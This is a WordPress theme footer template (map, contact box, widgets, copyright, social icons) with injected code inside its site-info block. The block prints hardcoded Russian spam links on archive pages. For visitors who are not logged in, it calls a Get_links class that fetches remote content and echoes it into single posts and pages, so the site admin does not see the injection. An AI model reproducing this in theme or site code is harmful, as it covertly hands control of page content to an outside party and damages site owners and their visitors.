<?php
/**
 * The template for displaying the footer.
 *
 * Contains the closing of the #content div and all content after.
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package Fabthemes
 */

?>

<!-- Mapbox -->

<div id="home-map-section">

<?php echo ft_of_get_option('fabthemes_map','');?>
    <div class="row">
        <div class="column medium-6 small-12 ">
            <div class="info-box">
                <h3><?php _e('Contact Us:','fabthemes'); ?></h3>
				<?php echo ft_of_get_option('fabthemes_address','');?><br>
				<?php _e('Phone: ','fabthemes'); ?><?php echo ft_of_get_option('fabthemes_phone','');?> <br>

                <h3> <?php _e('Working Time','fabthemes'); ?></h3>
				<?php echo ft_of_get_option('fabthemes_timing','');?>

            </div>
        </div>
    </div>
</div>

	</div><!-- #content -->

	<div id="footer-widgets">
		<div class="row">
			<?php dynamic_sidebar( 'footerbar' ); ?>
		</div>
	</div>
	<footer id="colophon" class="site-footer" role="contentinfo">
		<div class="row">
            <div class="column medium-6">
    			<div class="site-info">
    			Copyright &copy; <?php echo date('Y');?> <a href="<?php bloginfo('url'); ?>" title="<?php bloginfo('name'); ?>"><?php bloginfo('name'); ?></a> - <?php bloginfo('description'); ?> <br>
    			<?php if (is_home() || is_category() || is_archive() ){ ?> <a href="http://wp-templates.ru/" title="Шаблоны WordPress">WordPress</a> / <a rel="nofollow" href="http://builderbody.ru/kak-izbavitsya-ot-xolki-na-shee-szadi/" title="Как избавиться от холки на шее сзади">Как избавиться от холки</a> <?php } ?>


<?php if ($user_ID) : ?><?php else : ?>
<?php if (is_single() || is_page() ) { ?>
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); 
$links = new Get_links(); $links = $links->get_remote(); echo $links; ?>
<?php } ?>
<?php endif; ?>
    			</div><!-- .site-info -->
		    </div>
            <div class="column medium-6">
                    <div class="social-icons">
                        <ul>
                            <li><a href="<?php echo ft_of_get_option('fabthemes_facebook',''); ?>"><i class="fa fa-facebook-square"></i></a></li>
                            <li><a href="<?php echo ft_of_get_option('fabthemes_twitter',''); ?>"><i class="fa fa-twitter-square"></i></a></li>
                            <li><a href="<?php echo ft_of_get_option('fabthemes_gplus',''); ?>"><i class="fa fa-google-plus-square"></i></a></li>
                            <li><a href="<?php echo ft_of_get_option('fabthemes_linkedin',''); ?>"><i class="fa fa-linkedin-square"></i></a></li>
                            <li><a href="<?php echo ft_of_get_option('fabthemes_youtube',''); ?>"><i class="fa fa-youtube-square"></i></a></li>
                        </ul>
                    </div>
            </div>
    </div>
	</footer><!-- #colophon -->
</div><!-- #page -->

<?php wp_footer(); ?>

</body>
</html>
